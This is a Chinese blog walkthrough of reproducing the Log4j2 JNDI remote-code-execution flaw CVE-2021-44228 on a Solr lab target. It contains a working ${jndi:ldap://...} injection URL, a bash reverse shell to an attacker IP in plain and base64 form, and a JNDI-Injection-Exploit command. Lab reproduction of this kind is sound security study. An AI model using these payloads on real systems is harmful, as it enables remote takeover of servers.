首页 > 其他分享 >Apache Log4j2-RCE-CVE-2021-44228

Apache Log4j2-RCE-CVE-2021-44228

时间:2024-05-28 22:33:16浏览次数:20  
标签:JNDI 漏洞 2021 ldap Apache 44228 靶机 CVE

Apache Log4j2-RCE-CVE-2021-44228

基本信息

  • CVE编号:CVE-2021-44228
  • CVSS: CVSS2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
  • 漏洞类型:远程命令执行
  • 影响产品:Apache
  • 影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

漏洞描述

​ log4j支持JNDI协议。

​ Apache Log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行。

漏洞细节

启动环境

docker-compose up -d

在这里插入图片描述

访问靶机http://靶机ip:8983

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

访问如下url,查看dns回显。

ldap是协议,后面的地址为dns地址

http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxxxxx} 

可以看到发生了dns回显

在这里插入图片描述

制作反弹shell

bash -i >& /dev/tcp/192.168.246.131/999 0>&1

进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzEvOTk5IDA+JjE=

使用JNDIExploit进行漏洞利用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload}|{base64,-d}|{bash,-i}" -A "攻击机IP"

在这里插入图片描述

打开监听

在这里插入图片描述

将构造的rmi和ldap按次放入 jndi: 后

http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxxxxx} 

在这里插入图片描述

监听成功,拿到了管理员权限

在这里插入图片描述

标签:JNDI,漏洞,2021,ldap,Apache,44228,靶机,CVE
From: https://blog.csdn.net/Have_a_great_day/article/details/137831854

相关文章

  • Caused by: org.apache.catalina.connector.ClientAbortException: java.io.IOExcepti
    错误描述Causedby:org.apache.catalina.connector.ClientAbortException:java.io.IOException:你的主机中的软件中止了一个已建立的连接。发生场景ApiFox发起请求,接口内容是下载Excel文件,数据比较大5w条,在请求完之后发生此错误。但是在线上环境并没有这种情况,后来想了想......
  • [SWPUCTF 2021 新生赛]easy_sql
    [SWPUCTF2021新生赛]easy_sql最近考试比较多,但是越临近考试越不想复习,复现一道web方向sql注入类型的题目解解闷。可能会问最近为什么没打misc了,主要是有一天不知道在哪看到的文案,说misc不适合作为主攻方向,所以还是想坚持一下初心打打web试一下。前置知识数据库中的字段就是......
  • [SWPUCTF 2021 新生赛]include
    打开我们可以看到让我们传入一个file,会出现一串代码,我们去分析一下:当看到ini_set("allow_url_include","on");设置为on,那我们可以想到可以进行文件包含用伪协议来读取flag.php这个文件我们来用filter来构造payload:file=php://filter/read=convert.base64-encode/resource=flag......
  • [SWPUCTF 2021 新生赛]easy_md5
    打开靶场可以看到一串代码,进行代码审计我们可以知道这个网页包含了一个叫flag2.php的文件,如果想要得到这个文件就得进行GET传参和POST传参。并且这里用到一个MD5绕过,传参的值不能相等,但是MD5的值要相等,不然就报错所以我们直接用hackbar进行传参,得到flag当然如果没有下hackbar......
  • centos7服务器如何安装lamp-Apache
    Apache:主要用于接收用户的请求,处理业务逻辑,返回结果给客户端(浏览器)httpd软件=>前身apache,随着时间的推移以及互联网行业的发展,越来越多的软件加入到了Apache的基金会。1.安装httpd服务yuminstallhttpd-yyuminstall+软件名称-y(意思为yes,安装中间有提示是否......
  • (五星)用Python学数学-2021 ([美] 彼得 • 法雷尔(Peter Farrell) [Farrell) etc.)
    书:pan.baidu.com/s/1tIHXj9HmIYojAHqje09DTA?pwd=jqso提取码:jqso引言:介绍了本书的目标,即通过Python学习数学的优势和乐趣,以及Python在数学领域的应用概述。Python基础:简要介绍了Python编程语言的基本概念、语法和常用库,为后续的数学学习打下基础。可视化方法:讲解了如何使用Py......
  • Apache DolphinScheduler(2.x和3.x版本) 本地环境搭建教程一览
    在迅速变化的技术领域,本地环境的搭建和调试对于软件开发的效率和效果至关重要。本文将详细介绍如何为ApacheDolphinScheduler搭建一个高效的本地开发环境,包括2.x和3.x版本的设置方法。无论您是初学者还是有经验的开发者,本指南都将帮助您快速启动并运行,有效地进行本地代码调试。......
  • 在Linux中,如何配置Web服务器(如Apache或Nginx)?
    在Linux系统中配置Web服务器是建立网站托管环境的关键步骤之一。下面将详细介绍如何在Linux中配置两种流行的Web服务器:Apache和Nginx:一、ApacheWeb服务器的配置:安装Apache服务器:首先确认Apache是否已安装在系统上。这可以通过运行rpm-qa|grep-ihttpd(针对RedHat系列)或......
  • OWASP Top 10 2021
    OWASPTOP10是开放式Web应用程序安全项目(OpenWebApplicationSecurityProject)发布的年度全球最严重的十大web应用程序安全风险。截止到目前,最近一次的发布时间是2021年(上一次发布是2017年)。A01:2021-失效的访问控制   A02:2021-加密机制失效   A03:2021-注......
  • Visio 2021下载教程|visio流程图软件的完整安装步骤
    Visio是微软公司(Microsoft)推出的一款流程图和图表制作软件。它提供了丰富的图形库和工具,可以帮助用户创建各种类型的图表、流程图、组织结构图、平面布局图等。目前最新版也是用的最广泛的版本为Visio2021。MicrosoftVisio2003-2021全版本软件安装包下载:https://pan.baid......